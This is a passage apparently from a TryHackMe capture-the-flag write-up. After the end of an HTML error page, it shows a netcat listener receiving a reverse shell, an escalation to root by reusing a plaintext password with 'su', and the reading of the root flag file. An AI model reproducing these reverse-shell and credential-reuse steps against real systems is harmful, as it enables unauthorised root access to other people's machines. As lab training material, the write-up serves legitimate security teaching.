    <title>Internal Server Error</title>
  </head>
  <body>
    <h1><p>Internal Server Error</p></h1>
    
  </body>
</html>

```

```markdown
nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on IP_Address 57986
bash: cannot set terminal process group (611): Inappropriate ioctl for device
bash: no job control in this shell
bartender@tryhackme-2404:/opt/beach-bar/webapp$ su root
su root
Password: SunsetSpritz2024!
id 
uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
THM{cr3d3nt14l_r3us3_4t_th3_b34ch_redacted}
```
